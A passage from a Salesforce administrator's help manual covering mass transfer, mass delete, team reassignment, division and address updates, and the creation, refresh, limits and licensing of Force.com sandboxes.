Use the Mass Transfer tool to transfer multiple accounts, leads, service contracts, and custom objects from one user to another. Note: To transfer any records that you do not own, you must have the required user permissions as well as read sharing access on the records. 1. Choose Your Name > Setup > Data Management > Mass Transfer Records. 2. Click the link for the type of record to transfer.

708

Data Management

Mass Transferring Records

3. Optionally, fill in the name of the existing record owner in the Transfer from field. For leads, you can transfer from users or queues. 4. In the Transfer to field, fill in the name of new record owner. For leads, you can transfer to users or queues. 5. If your organization uses divisions, select the Change division.... checkbox to set the division of all transferred records to the new owners default division. 6. When transferring accounts, you can: Select the Transfer open opportunities not owned by the existing account owner checkbox if you want to transfer open opportunities owned by other users that are associated with the account. Select the Transfer closed opportunities checkbox if you want to transfer closed opportunities associated with the account. This option applies only to closed opportunities owned by the account owner; closed opportunities owned by other users are not changed. Select the Transfer open cases owned by the existing account owner checkbox if you want to transfer open cases that are owned by the existing account owner and associated with the account. Select the Transfer closed cases checkbox if you want to transfer closed cases that are owned by the existing account owner and associated with the account. Select the Keep Account Team checkbox if you want to maintain the existing account team associated with the account. Deselect this checkbox if you want to remove the existing account team associated with the account. Select the Keep Sales Team on all opportunities... checkbox if you want to maintain the existing sales team on any opportunities associated with this account. Note: If you transfer closed opportunities, the sales team is maintained, regardless of this setting.

7. Enter search criteria that the records you are transferring must match. For example, you could search accounts in California by specifying Billing State/Province equals CA. 8. Click Find. 9. Select the checkbox next to the records you want to transfer. Optionally, check the box in the column header to select all currently displayed items. Note: If duplicate records are found, you must select only one of the records to transfer. Transferring duplicate records results in an error. Duplicate records may display if you filter leads based on Campaign Member Status and a matching lead has the same campaign member status on multiple campaigns. For example, if you specify Campaign Member Status equals Sent, and a matching lead named John Smith has the status Sent on two campaigns, his record will display twice. 10. Click Transfer. Transfer of Associated Items When you change record ownership, some associated items that are owned by the current record owner are also transferred to the new owner. Record Accounts Associated items that are also transferred Contacts (on business accounts only), attachments, notes, open activities, open opportunities owned by the current account owner, and optionally, closed opportunities and open opportunities owned by other users.

709

Data Management

Managing Multiple Approval Requests

Record Leads

Associated items that are also transferred Open activities. When transferring leads to a queue, open activities are not transferred.

Access to Transferred Items When transferring accounts and their related data in Professional, Enterprise, Unlimited, and Developer Editions, all previous access granted by manual sharing, Apex managed sharing, or sharing rules is removed. New sharing rules are then applied to the data based on the new owner. The new owner may need to manually share the transferred accounts and opportunities as necessary to grant access to certain users.

See Also:
Changing Ownership Changing Multiple Cases Assigning Leads

Managing Multiple Approval Requests


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage multiple approval requests: Modify All Data

To transfer multiple approval requests from one user to another or to remove multiple approval requests from the approval process: 1. Before transferring an approval request, make sure the new assigned approver has access to read the records for the approval requests. For example, a user that does not have read access to an Expenses custom object will not be able to view expense approval requests. 2. Choose Your Name > Setup > Data Management > Mass Transfer Approval Requests. 3. Enter the search conditions that the approval requests you are transferring must match. For example, you could search for approval requests that were submitted by a particular user by specifying Submitter equals jsmith. For more information, see Entering Filter Criteria on page 2645. 4. Click Find to search for approval requests that match. 5. Choose an option:
Mass remove records from an approval process unlocks the records and removes them from any approval

process so they no longer appear on the approver's list of pending approval requests. Mass transfer outstanding approval requests to a new user allows you to select a user and assign that user as the approver for all approval requests selected.

6. Optionally, enter any comments to be stored with the approval requests. The comments you enter are displayed on the Approval History related list if your administrator has customized it to include the Comments field.

710

Data Management

Deleting Mass Data

7. Select the checkbox next to each approval request you want to transfer or remove from the approval process, depending on the option you selected previously. 8. Click Transfer or Remove, depending on the option you selected previously.

See Also:
Approval Processes Overview Approval Process Terminology

Deleting Mass Data


Available in: All Editions This feature is only available in Database.com via the API. You can only mass delete records of custom objects in Database.com.

User Permissions Needed To mass delete data: Modify All Data

You can delete multiple cases, solutions, accounts, contacts, leads, products, or activities at one time. Before you use mass delete, we strongly suggest you run a report to archive your information. We also strongly advise you to run a weekly export of your data; see Exporting Backup Data on page 702. To delete multiple records: 1. 2. 3. 4. Click Your Name > Setup > Data Management > Mass Delete Records. Click the link for the type of record to delete. Review the information that will be deleted along with the records. Specify conditions that the selected items must match, for example, State equals California. For more information, see Entering Filter Criteria on page 2645. 5. When deleting accounts, check the appropriate boxes if you want to delete accounts with attached closed/won opportunities or attached opportunities owned by other users. 6. When deleting products, check Archive Products... if you want to include products that are on opportunities. Archived products are not moved to the Recycle Bin. Check this option to: Delete products that are not on opportunities and move them to the Recycle Bin. Archive products that are on opportunities. These products are not moved to the Recycle Bin and cannot be recovered.

Leave this box unchecked to delete only those products that are not on opportunities. Selected products that are on opportunities will remain checked after the deletion to indicate they were not included in the deletion. 7. Choose Search to find records that match. 8. Select the box next to the items you want to delete. Optionally, check the box in the column header to select all currently displayed items. 9. To permanently delete records, select Permanently delete the selected records. Please note that selecting this option prevents you from recovering the selected records from the Recycle Bin.

711

Data Management

Deleting Mass Data

10. Click Delete. If you did not select Permanently delete the selected records, deleted items are moved to the Recycle Bin.

Notes on Using Mass Delete


Consider the following when using mass delete: You can only delete up to 250 items at one time. When you delete a record, any associated records that display on that record's related lists are also deleted. Accounts and contacts associated with cases cannot be deleted. Partner accounts with partner users cannot be deleted. Contacts enabled for Self-Service, and their associated accounts, cannot be deleted. When deleting products, all related price book entries are deleted with it. Products on opportunities cannot be deleted, but they can be archived. When you delete activities: Any archived activities that meet the conditions are also deleted. Requested meetings aren't included in the mass-delete until they're confirmed and automatically converted to events. The child events of a recurring event are not displayed in the list of possible items to delete, but they are deleted along with their associated event series. Deleting a master solution does not delete the translated solutions associated with it. Instead, each translated solution becomes a master solution. Deleting a translated solution removes the association with its master solution.

Sample Uses for Mass Delete


The following examples illustrate some common uses of mass delete. You imported your organization's leads incorrectly and you want to delete those imported leads. View the Using Mass Delete to Undo Imports document for complete instructions. A user named John Smith recently left your organization, and he had several contacts that were duplicates of other users' data. To delete these duplicate contacts, select contacts as the record type to delete and enter Owner Alias equals jsmith. Your organization may have formerly entered all leads as accounts with the Type field set to Prospect. You now want to convert these accounts into leads. To do this, run a report of these accounts, export it to Excel, and then use the Import My Organizations Leads wizard to import the data as leads. Then using mass delete, select accounts as the record type to delete and enter Type equals Prospect to locate all accounts you want to delete. You want to delete all the leads that have been converted for your organization. Select the lead record type, enter Converted equals 1 for the search criteria, then choose Search.

You might also want to use mass delete to clean up any old records you may have, to delete web-generated leads that were created incorrectly, or to delete accounts and contacts with whom you no longer do business.

See Also:
Undoing an Import Recycle Bin

Reassigning Multiple Team Members

712

Data Management

Reassigning Multiple Team Members

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To mass transfer team members: Use Team Reassignment Wizards

If your organization uses account teams or sales teams, you can make changes to a team member on multiple records at a time. Using Salesforce, you can add, remove, or replace a team member on any record that contains that team member. See the following topics for details: Adding a Team Member to Multiple Records on page 713 Removing a Team Member from Multiple Records on page 714 Replacing a Team Member on Multiple Records on page 715

Adding a Team Member to Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To mass transfer team members: Use Team Reassignment Wizards

To add an account or sales team member to multiple records at a time: 1. Choose Your Name > Setup > Data Management > Mass Reassign Account Teams or Your Name > Setup > Data Management > Mass Reassign Opportunity Teams. If you don't see the Data Management link on the Setup page, click Mass Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity Teams from the Tools section at the bottom of the Opportunities tab. 2. Choose the Add option and click Next. 3. Enter your criteria to find the records you want to change and click Next. 4. Check the boxes next to the records you want to change. Optionally, check the box in the column header to select all currently displayed items. 5. Click Next. 6. Choose a team member to add to the selected records. 7. Select a role for the new team member. 8. For account teams, select the appropriate account, contact, case, and opportunity access. For sales teams, select the appropriate opportunity access. 9. Click Add. 10. Click Done after reviewing the number of records changed.

713

Data Management

Reassigning Multiple Team Members

Note: To add a new team member to an opportunity, the team member must have read access to the associated account. Team members who do not have read access to the account will not be added to the opportunity team unless you have the Modify All Data permission or are the account owner or above the account owner in the role hierarchy.

See Also:
Removing a Team Member from Multiple Records Replacing a Team Member on Multiple Records

Removing a Team Member from Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To mass transfer team members: Use Team Reassignment Wizards

To remove an account or sales team member from multiple records at a time: 1. Choose Your Name > Setup > Data Management > Mass Reassign Account Teams or Your Name > Setup > Data Management > Mass Reassign Opportunity Teams. Depending on your permissions, you may not see the Data Management link on the Setup page. In that case, click Mass Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity Teams from the Tools section at the bottom of the Opportunities tab. 2. Choose the Remove option and click Next. 3. Enter your criteria to find the records you want to change and click Next. For information on finding records, see Entering Filter Criteria on page 2645. 4. Check the boxes next to the records you want to remove. Optionally, check the box in the column header to select all currently displayed items. 5. Click Next. 6. Choose the existing team member to remove from the selected records. 7. Select a role. The team member is removed only if he or she plays this role. Or, select Any Role to removed the team member regardless of what role he or she plays. 8. Check the following options when applicable:
Reassign all open activities... if you want open activities for the removed team member assigned to the

account owner.
Reassign all open opportunities... if you want open opportunities for the removed team member to be

assigned to the account owner.


Reassign all open cases... if you want open cases for the removed team member to be assigned to the account

owner.
Reassign all contacts... if you want to assign all contact records owned by the removed team member to the

account owner.

714

Data Management

Reassigning Multiple Team Members

9. Click Remove. 10. Click Done after reviewing the number of records changed.

See Also:
Adding a Team Member to Multiple Records Replacing a Team Member on Multiple Records

Replacing a Team Member on Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To mass transfer team members: Use Team Reassignment Wizards

You can replace account and sales team members and change team member roles on multiple records at a time. Note: While you can add members to account and sales team records that you have access to edit, you need the Use Team Reassignment Wizards permission to mass reassign members. 1. Choose Your Name > Setup > Data Management > Mass Reassign Account Teams or Your Name > Setup > Data Management > Mass Reassign Opportunity Teams. Depending on your permissions, you may not see the Data Management link on the Setup page. In that case, click Mass Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity Teams from the Tools section at the bottom of the Opportunities tab. 2. Choose the Replace option and click Next. 3. Enter your criteria to find the records you want to change and click Next. 4. Check the boxes next to the records you want to select. Optionally, check the box in the column header to select all currently displayed items. 5. Click Next. 6. Select the team member currently on the selected records that you want to change. 7. Select the new team member to replace the current one. To simply change the role of a team member, select the existing team member here as well. 8. Choose a role for the team member. Choose Use Role of Replaced Team Member to keep the current role. 9. For account teams, select the appropriate account, contact, case, and opportunity access. For sales teams, select the appropriate opportunity access. 10. Check the following options when applicable:
Reassign all open activities... if you want to assign all open activity records to the replacement team

member.
Reassign all open opportunities... if you want to assign all open opportunity records to the replacement

team member.

715

Data Management

Transferring Divisions

Reassign all open cases... if you want to assign all open cases to the replacement team member. Reassign all contacts... if you want to assign the contacts associated with the updated records to the replacement

team member. 11. Click Replace. 12. Click Done after reviewing the number of records changed.

See Also:
Adding a Team Member to Multiple Records Removing a Team Member from Multiple Records

Transferring Divisions
Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed To mass transfer divisions: Modify All Data

To change the division for multiple records at one time: 1. Click Your Name > Setup > Data Management > Mass Division Transfer. 2. Select the type of record for which you want to reassign divisions, and click Next. When you transfer divisions for accounts, all records related to a particular account, such as contacts and opportunities, inherit the division of that account. Likewise, transferring divisions for custom objects includes any custom objects on the detail side of a master-detail relationship with that custom object. 3. Set the search conditions that the records must match, and click Next. 4. Select the new division for the matching records. 5. When transferring users, select the Change the division... checkbox to also change the division of the records owned by the users. 6. Click Transfer. If you are transferring less than 5,000 records, they are transferred immediately. A confirmation message displays when the transfers are complete. If you are transferring 5,000 or more records, the request is placed in a queue for processing. You will receive an email notification when the transfers are complete.

See Also:
About Divisions Changing Your Working Division Changing Your Default Division

716

Data Management

Mass Updating Addresses

Mass Updating Addresses


Available in: All Editions except for Database.com.

User Permissions Needed To mass update addresses: To mass update addresses of contracts: Modify All Data Modify All Data AND Activate Contracts

Use mass updating addresses to standardize on one naming convention for a country and state/province for your organization's existing address fields in accounts, contacts, contracts, and leads. For example, instead of having multiple records with US, USA, or United States in the address fields, you can use mass updating addresses to enter one name, such as US, for all of the records. 1. Choose Your Name > Setup > Data Management > Mass Update Addresses. 2. Select the type of data to update - Countries or State/Province. If you chose State/Province, enter the country in which to update the state or province. Click Next to continue. 3. Select the values to update and click Add. The Selected Values box displays the values that will be updated. To remove values, click Remove. The Available Values box displays the address values found in existing records. To find additional addresses to update together as a group, enter all or part of a value and click Find. If your organization has large amounts of data, instead of using the Available Values box, enter existing values to update in the text area. Each value should be separated by a new line. 4. In the Replace selected values with field, enter the value with which to replace the specified address data, and click Next. If your organization has large amounts of data, this field is called Replace entered values with. The number and type of address records which will be updated in your organization are displayed. If your organization has large amounts of data, only the values that will be updated are displayed. 5. Click Replace to update the values.

Tips on Mass Updating Addresses


As a best practice, update countries first, and then update states or provinces within that newly standardized country value. Use the mass updating address tool to convert inconsistent address formats to one international standard, such as ISO codes. For a list of ISO codes, see the International Organization for Standardization website. Use the mass updating tool regularly to cleanse your address data of inconsistent values created by users or via import, sync, or the Force.com API. Any country or state/province value can be created manually or via import, sync, or the Force.com API. Address values are not validated upon creation.

717

Data Management

Force.com Sandbox

Remember to change filter conditions to reflect any address updates. For example, if you change United States to US, then assignment rules, Web-to-Lead, Web-to-Case, Email-to-Case, and On-Demand Email-to-Case will continue to use United States unless updated to US.

Force.com Sandbox
Available in: Enterprise, Unlimited, and Database.com Editions

User Permissions Needed To view a sandbox: To create, refresh, activate, and delete sandboxes: View Setup and Configuration Modify All Data

Salesforce gives you the ability to create multiple copies of your organization in separate environments for a variety of purposes, such as testing and training, without compromising the data and applications in your Salesforce production organization. These copies are called sandboxes and are nearly identical to your Salesforce production organization. For a list of differences, see Force.com Sandbox Setup Tips and Considerations on page 721. Sandboxes are completely isolated from your Salesforce production organization, so operations you perform in your sandboxes do not affect your Salesforce production organization, and vice-versa. There are three types of sandboxes: Configuration Only Configuration-only sandboxes copy all of your production organization's reports, dashboards, price books, products, apps, and customizations under Your Name > Setup, but exclude all of your organization's standard and custom object records, documents, and attachments. Creating a configuration-only sandbox can decrease the time it takes to create or refresh a sandbox from several hours to just a few minutes, but it can only include up to 500 MB of data. You can refresh a configuration-only sandbox once per day. Developer Sandbox Developer sandboxes are special configuration-only sandboxes intended for coding and testing by a single developer. They provide an environment in which changes under active development can be isolated until they are ready to be shared. Just like configuration-only sandboxes, developer sandboxes copy all application and configuration information to the sandbox. Developer sandboxes are limited to 10 MB of test or sample data, which is enough for many development and testing tasks. You can refresh a developer sandbox once per day. Full Full sandboxes copy your entire production organization and all of its data, including standard and custom object records, documents, and attachments. You can refresh a full-copy sandbox every 29 days.

Sandbox Limits
The following limits apply to sandboxes: You can refresh a full copy sandbox 29 days from its previous refresh or creation. If you delete a full-copy sandbox, you must wait 29 days to replace it.

718

Data Management

Force.com Sandbox

You can refresh a configuration-only sandbox (including developer sandbox) once per day. You may order up to a maximum of three full sandboxes. You may order up to a maximum of six configuration-only sandboxes. Enterprise Edition includes one developer sandbox. Unlimited Edition includes one full sandbox with the option to purchase up to three more full sandboxes. Note: Contact salesforce.com to order sandboxes for your organization.

See Also:
Creating or Refreshing a Sandbox Force.com Sandbox Setup Tips and Considerations Sandbox Restrictions and Licenses Managing Sandboxes

Creating or Refreshing a Sandbox


Available in: Enterprise, Unlimited, and Database.com Editions

User Permissions Needed To view a sandbox: To create, refresh, activate, and delete sandboxes: View Setup and Configuration Modify All Data

To create or refresh a sandbox: 1. Click Your Name > Setup > Data Management > Sandbox. 2. Select one of the following: Click New Sandbox. For information on different kinds of sandboxes, see Force.com Sandbox on page 718. Salesforce deactivates the New Sandbox button when an organization reaches its sandbox limit. If necessary, contact salesforce.com to order more sandboxes for your organization. Note that Salesforce deactivates all refresh links if you have exceeded your sandbox limit. Click Refresh to replace an existing sandbox with a new copy. Salesforce only displays the Refresh link for sandboxes that are eligible for refreshing. For full-copy sandboxes, this is any time after 30-days from the previous creation or refresh of that sandbox. For configuration-only sandboxes (including developer sandboxes) you can refresh once per day. Your existing copy of this sandbox remains available while you wait for the refresh to complete. The refreshed copy is inactive until you activate it.

3. Enter a name and description for the sandbox. You can only change the name when you create or refresh a sandbox.

719

Data Management

Force.com Sandbox

Tip: We recommend that you choose a name that: Reflects the purpose of this sandbox, such as QA. Has few characters because Salesforce automatically appends the sandbox name to usernames and email addresses on user records in the sandbox environment. Names with fewer characters make sandbox logins easier to type.

4. Select the type of sandbox: Configuration Only: Configuration-only sandboxes copy all of your production organization's reports, dashboards, price books, products, apps, and customizations under Your Name > Setup, but exclude all of your organization's standard and custom object records, documents, and attachments. Creating a configuration-only sandbox can decrease the time it takes to create or refresh a sandbox from several hours to just a few minutes, but it can only include up to 500 MB of data. You can refresh a configuration-only sandbox once per day. Developer: Developer sandboxes are special configuration-only sandboxes intended for coding and testing by a single developer. They provide an environment in which changes under active development can be isolated until they are ready to be shared. Just like configuration-only sandboxes, developer sandboxes copy all application and configuration information to the sandbox. Developer sandboxes are limited to 10 MB of test or sample data, which is enough for many development and testing tasks. You can refresh a developer sandbox once per day. Full: Full sandboxes copy your entire production organization and all of its data, including standard and custom object records, documents, and attachments. You can refresh a full-copy sandbox every 29 days.

If you have reduced the number of sandboxes you purchased, but you still have more sandboxes of a specific type than allowed, you will be required to match your sandboxes to the number of sandboxes that you purchased. For example, if you have two full sandboxes but purchased only one, you cannot refresh your full sandbox as a full sandbox. Instead, you must choose one full sandbox to convert to a smaller sandbox, such as configuration-only or developer sandbox, depending on which type of sandbox you have available. Note: Configuration-only and developer sandboxes copy all of your production organization's reports, dashboards, price books, products, apps, and customizations under Your Name > Setup, but exclude all of your organization's standard and custom object records, documents, and attachments. Because they copy much less data, creating these sandbox types can substantially decrease the time it takes to create or refresh a sandbox. If you are refreshing an existing sandbox, the radio button usually preselects the sandbox type corresponding to the sandbox you are refreshing. For example, if you refresh a configuration-only sandbox, the radio button preselects Configuration Only. Whether refreshing an existing sandbox or creating a new one, some radio buttons may be disabled if you have already created the number of sandboxes of that sandbox type allowed for your organization. 5. For a full sandbox, choose how much Object History you want to copy. Object history is the field history tracking of both custom and standard objects. You can copy from 0 to 180 days of object history, in 30 day increments. The default value is 30 days. Decreasing the Object History can significantly speed up sandbox copy time. 6. Click Start Copy. The process may take several minutes, hours, or even days, depending on the size of your organization and whether you are creating a full copy or configuration-only copy. Tip: You should try to limit changes in your production organization while the sandbox copy proceeds.

7. You will receive a notification email when your newly created or refreshed sandbox has completed copying. If you are creating a new sandbox, the newly created sandbox is now ready for use.

720

Data Management

Force.com Sandbox

If you are refreshing an existing sandbox, an additional step is required to complete the sandbox copy process. The new sandbox must be activated. To delete your existing sandbox and activate the new one, return to the sandbox list by logging into your production organization and navigating to Your Name > Setup > Data Management > Sandbox. Then click the Activate link next to the sandbox you wish to activate. This will take you to a page warning of removal of your existing sandbox. Please read the warning carefully and if you agree to the removal, enter the acknowledgment text at the prompt and click the Activate button. When the activation process is complete, you will receive a notification email. Caution: Activating a replacement sandbox that was created using the Refresh link completely deletes the sandbox it is refreshing. All configuration and data in the prior sandbox copy will be lost, including any application or data changes you have made. Please read the warning carefully, and press the Activate link only if you have no further need for the contents of the sandbox copy currently in use. Your production organization and its data will not be affected. 8. Once your new sandbox is complete, or your refreshed sandbox is activated, you can click the link in the notification email to access your sandbox. You can log into the sandbox at test.salesforce.com/login.jsp by appending .sandbox_name to your Salesforce username. For example, if your username for your production organization is user1@acme.com, then your username for a sandbox named test is user1@acme.com.test. For more information, see Username and Email Address Modification on page 722. Note: Salesforce automatically changes sandbox usernames but does not change passwords.

Force.com Sandbox Setup Tips and Considerations


Available in: Enterprise, Unlimited, and Database.com Editions

User Permissions Needed To view a sandbox: To create, refresh, activate, and delete sandboxes: View Setup and Configuration Modify All Data

Consider the following before you create a sandbox. Servers and IDs The organization IDs of your sandboxes differ from your production organization ID, and will change each time your sandbox is refreshed. Salesforce stores sandbox organizations on several instances. When a sandbox is created or refreshed, an instance is selected for your sandbox, so your sandbox may appear on different instances and have different URLs. When data that contains object IDs is copied from your production instance into your sandbox, the object IDs in your sandbox match the object IDs in your production instance. However, data created in your production instance or sandbox will not contain matching object IDs.

721

Data Management

Force.com Sandbox

Username and Email Address Modification User information is included in a sandbox copy or refresh for all sandbox types. Because all Salesforce usernames must be unique and reference a single organization, all copied usernames are modified to ensure uniqueness during the copy process. Usernames are modified differently for each sandbox copy. Entering a particular modified username will log you into a specific sandbox. For each username, the copy process applies one or two modifications as necessary to generate a unique new username: First, the sandbox name is appended to the username, so that for a sandbox named test, user@acme.com may become user@acme.com.test. If the resulting username is not unique, a second modification is performed in which a number of characters and digits are prepended to the modified username. This second modification may result in a username such as 00x7Vquser@acme.com.test. Email addresses are modified in a sandbox so that production users, who may not know of the sandbox, do not receive automatically generated email messages from the sandbox, such as notifications from triggered workflow or escalation rules. By modifying user email addresses, any email messages sent from the sandbox are not delivered to production users. You can manually correct email addresses in the sandbox user records for users who will use the sandbox for testing and training. Caution: Sandboxes automatically change Salesforce user email addresses, but do not change other email addresses in Salesforce, such as those in contact records. To avoid sending unsolicited email from your sandboxes, manually invalidate or delete all email addresses in your sandboxes that do not belong to users. When testing the generation of outbound email, change contact email addresses to those of testers or an automated test script.

Creating, Refreshing, and Deleting Sandboxes Sandbox copy is a long-running operation that occurs in the background. You are notified of the completion of a sandbox copy via email. Sandbox refreshes may complete in minutes, days, or even more than a week. A number of conditions factor into the duration of a sandbox copy or refresh, including the number of customizations, data size, numbers of objects (for full copies), and server load. Also, sandbox refreshes are queued, so your requested copy may not start immediately after your request. A sandbox is not a point-in-time snapshot of the exact state of your data. Furthermore, we recommend that you limit changes to your production organization while a sandbox is being created or refreshed. Setup and data changes to your production organization during the sandbox creation and refresh operations may result in inconsistencies in your sandbox. You may detect and correct some inconsistencies in your sandbox after it is copied or refreshed. Some types of sandboxes may not be available to choose from if you already reached your organization's limit of the types of sandboxes you can create or refresh. For example, if your organization is limited to one full sandbox, and a full sandbox is already created, you may not select Full when creating a new sandbox. However, you may refresh your existing full sandbox. When you are finished with a sandbox, you can refresh it to create a new copy. However, if you have reduced your organization's number of sandboxes, a Delete link displays next to existing sandboxes, allowing you to delete a sandbox of your choice. Note that you must delete a sandbox before you can refresh any more sandboxes. If you have active Salesforce to Salesforce connections in your sandbox, you must deactivate and then reactivate the connection(s) after the sandbox is refreshed.

Accessing Sandboxes Access Changes for Sandbox Users A sandbox refresh deletes and recreates the sandbox as a new copy of the production organization. In effect, this reverses any manual access changes you've performed. If you created sandbox-only users, they will no longer exist, and a users

722

Data Management

Force.com Sandbox

profile and permissions revert to their values in the production organization. This means that after a refresh, any access changes will need to be repeated in the new copy. You can create users in your production organization that are inactive, and then activate them in sandbox. This is a good way to create a user in sandbox that has the appropriate permissions to develop in sandbox. For more information, see Editing Users on page 476. Many development and testing tasks require the Modify All Data permission. Because your developers might not have that permission in the production organization, you may need to increase their permissions in sandbox. Exercise caution when granting this permission in sandbox organizations that contain sensitive information copied from production (for example, social security numbers). For more information on permissions, see Overview of User Permissions and Access on page 525. You can create new users for sandbox development, but these count against the number of licensed users in your organization. To reduce your license count, you can disable production users who wont need access to the sandbox. For more information, see Deactivating Users on page 478. To grant users access to a sandbox, you must log in as the administrator on the sandbox organization, and then create or upgrade user access in the sandbox.

Always log in to your sandbox organization using the https://test.salesforce.com login URL. Remember to log in using the modified username as described in Username and Email Address Modification on page 722. If using the API, after you log in you must use the redirect URL that is returned in the loginResult object for subsequent access. This URL reflects the instance on which the sandbox is located and the appropriate server pool for API access. All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved, except the value for Recipient URL changes to http://tapp0.salesforce.com. The Recipient URL is updated to match your sandbox URL, for example http://cs1.salesforce.com, after you re-enable SAML. To enable SAML in the sandbox copy, click Your Name > Setup > Security Controls > Single Sign-On Settings; then click Edit, and select SAML Enabled. You must change the value of the Recipient URL in the certificate for your client application as well. For more information, see Configuring SAML Settings for Single Sign-On on page 645.

Sandbox Storage Limits Full copy sandboxes have the same storage limit as your production organization. Configuration-only sandboxes have a 500 MB storage limit. Developer Sandboxes have a 10 MB storage limit. Sandboxes do not send email notifications when storage limits are reached. However, if you reach your sandbox's storage limit, you cannot save new data in your sandbox. To check your sandbox's storage limits, click Your Name > Setup > Data Management > Storage Usage in your sandbox. For more information on storage limits, see Monitoring Resources on page 704.

Customization and Data Changes Customizations and data changes in your production organization do not automatically appear in your sandboxes. You must create a new sandbox or refresh an existing one to see the customizations made to your organization since the last time you created or refreshed a sandbox. You can only add, edit, or delete Apex using the Salesforce user interface in a Developer Edition or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the compileAndTestAPI() call. For more information, see the Force.com Apex Code Developer's Guide. If your sandbox is the same version as Force.com AppExchange, you can: Install and deploy apps from Force.com AppExchange in your sandbox. Publish apps from your sandbox to Force.com AppExchange. Publishing managed packages from a Force.com Sandbox is not advised, as refreshing or deleting the sandbox will prevent any revisions to that managed package.

723

Data Management

Force.com Sandbox

The version of your sandboxes may differ from Force.com AppExchange around the time of a Salesforce release. Check the logo in the upper left corner of your sandbox home page for version information. If your organization uses quote templates, and you create a configuration-only sandbox, templates that contain Text/Image fields cannot be opened for editing within the sandbox.

Service Exclusions The following features are disabled and cannot be enabled in sandboxes: Case escalation Opportunity reminders Contract expiration warnings Subscription summary Data exports (using Export Now or Schedule Export on Your Name > Setup > Data Management > Data Export) The ability to create Salesforce sandboxes. Case escalation, opportunity reminders, and contract expiration warnings are disabled because they automatically send email to contacts, customers and users who should not interact with sandboxes. Testing Salesforce for Google AdWords in your sandbox is not supported. Attempting to test Salesforce for Google AdWords in your sandbox will result in errors because your sandbox organization operates with the same link to your Google AdWords account as your production organization. Email service addresses that you create in your sandbox cannot be copied to your production organization. Other Service Differences Only custom links created as relative URLs, such as /00Oz0000000EVpU&pv0={!Account_ID} will work when copied to your sandboxes. Custom links created as absolute URLs, such as https://na1.salesforce.com/00Oz0000000EVpU&pv0={!Account_ID}, do not work in your organization's sandboxes. We recommend that you use only relative URLs in your production organization. Otherwise, you will need to correct the URLs in each sandbox. Salesforce has a background process that permanently deletes records in the Recycle Bin that are older than 30 days. This process runs at different times on different servers, so its timestamp in your sandbox differs from its timestamp in your production organization. Applications and integrations that depend on this timestamp may fail if they are first connected to one environment, such as your production organization, and then later connected to another environment, such as your sandbox. Keep this in mind when developing applications and integrations that depend on this timestamp. Note that the time of the latest execution of the background delete process is available through the getDeleted() API call. For more information, see the Web Services API Developer's Guide.

See Also:
Force.com Sandbox Sandbox Restrictions and Licenses

Sandbox Restrictions and Licenses

724

Data Management

Force.com Sandbox

Available in: Enterprise, Unlimited, and Database.com Editions

Sandbox services are restricted if your organization doesn't comply with salesforce.com's licensing rules. This typically happens when sandbox licenses expire. There are three types of sandbox licenses: Full, Configuration Only, and Developer. Each license permits the use of one sandbox. The sandbox licenses are hierarchical. Some licenses permit the use of multiple sandbox types. Full Sandbox License Permits the use of a full, configuration-only, or developer sandbox. Configuration Only Sandbox License Permits the use of a configuration-only or developer sandbox. Developer Sandbox License Permits the use of a developer sandbox only. There are a few different types of restrictions you might encounter when your organization doesn't comply with licensing rules. Unable to Refresh a Particular Type of Sandbox CauseYour organization is using more sandboxes of a specific type than its sandbox licenses permit. ExampleYour organization has three full sandboxes, but only two full sandbox licenses. EffectYou can't refresh a sandbox of this type. In the example, you can't refresh full sandboxes. ResolutionDelete sandboxes to comply with the number allowed by your organization's sandbox licenses, or purchase more sandbox licenses. All Sandboxes of a Particular Type are Locked CauseThe license count of a given type, including higher hierarchical types, is zero. ExampleYour organization has three full sandboxes and zero full sandbox licenses. EffectAll sandboxes of a particular type are locked. You don't have access to the sandboxes. ResolutionPurchase the correct sandbox licenses to unlock the sandboxes. If you don't purchase enough licenses, you can't refresh sandboxes of that type. All Sandboxes are Locked CauseYour production organization is locked. ExampleYour organization has one full sandbox and one configuration-only sandbox, but you can't log in to either sandbox. EffectIf your production organization is locked, all sandboxes associated with the organization are locked.

725

Data Management

Force.com Sandbox

ResolutionContact your salesforce.com representative to unlock your organization. When your production organization is unlocked, the sandboxes are unlocked as well.

See Also:
Force.com Sandbox Force.com Sandbox Setup Tips and Considerations

Managing Sandboxes
Available in: Enterprise, Unlimited, and Database.com Editions

User Permissions Needed To view a sandbox: To create, refresh, activate, and delete sandboxes: View Setup and Configuration Modify All Data

To manage your sandboxes, click Your Name > Setup > Data Management > Sandbox. A list of your existing sandboxes displays. Click New Sandbox. For information on different kinds of sandboxes, see Force.com Sandbox on page 718. Salesforce deactivates the New Sandbox button when an organization reaches its sandbox limit. If necessary, contact salesforce.com to order more sandboxes for your organization. Note that Salesforce deactivates all refresh links if you have exceeded your sandbox limit. Click Show Sandbox Refreshes to see a log of your sandbox refresh history, including when sandboxes were created and who created them. Click Refresh to replace an existing sandbox with a new copy. Salesforce only displays the Refresh link for sandboxes that are eligible for refreshing. For full-copy sandboxes, this is any time after 30-days from the previous creation or refresh of that sandbox. For configuration-only sandboxes (including developer sandboxes) you can refresh once per day. Your existing copy of this sandbox remains available while you wait for the refresh to complete. The refreshed copy is inactive until you activate it. Click Activate to activate a refreshed sandbox. You must activate your refreshed sandbox before you can access it. Salesforce only displays this option for sandboxes that are not activated. Caution: Activating a refreshed sandbox replaces the existing sandbox with the refreshed version. This permanently deletes the existing version and all data in it. Your production organization and its data will not be affected. Click Del to delete a sandbox. If you delete a sandbox, you must wait 29 days before replacing it with a new full-copy sandbox, or one day before you can replace it with another configuration-only sandbox. Caution: Deleting a sandbox permanently erases the sandbox and all data in it. Your production organization and its data will not be affected. Click Login to log in to a sandbox. Salesforce only displays this option for active sandboxes.

726

Data Management

Using Trialforce to Export Organization Data to a DOT file

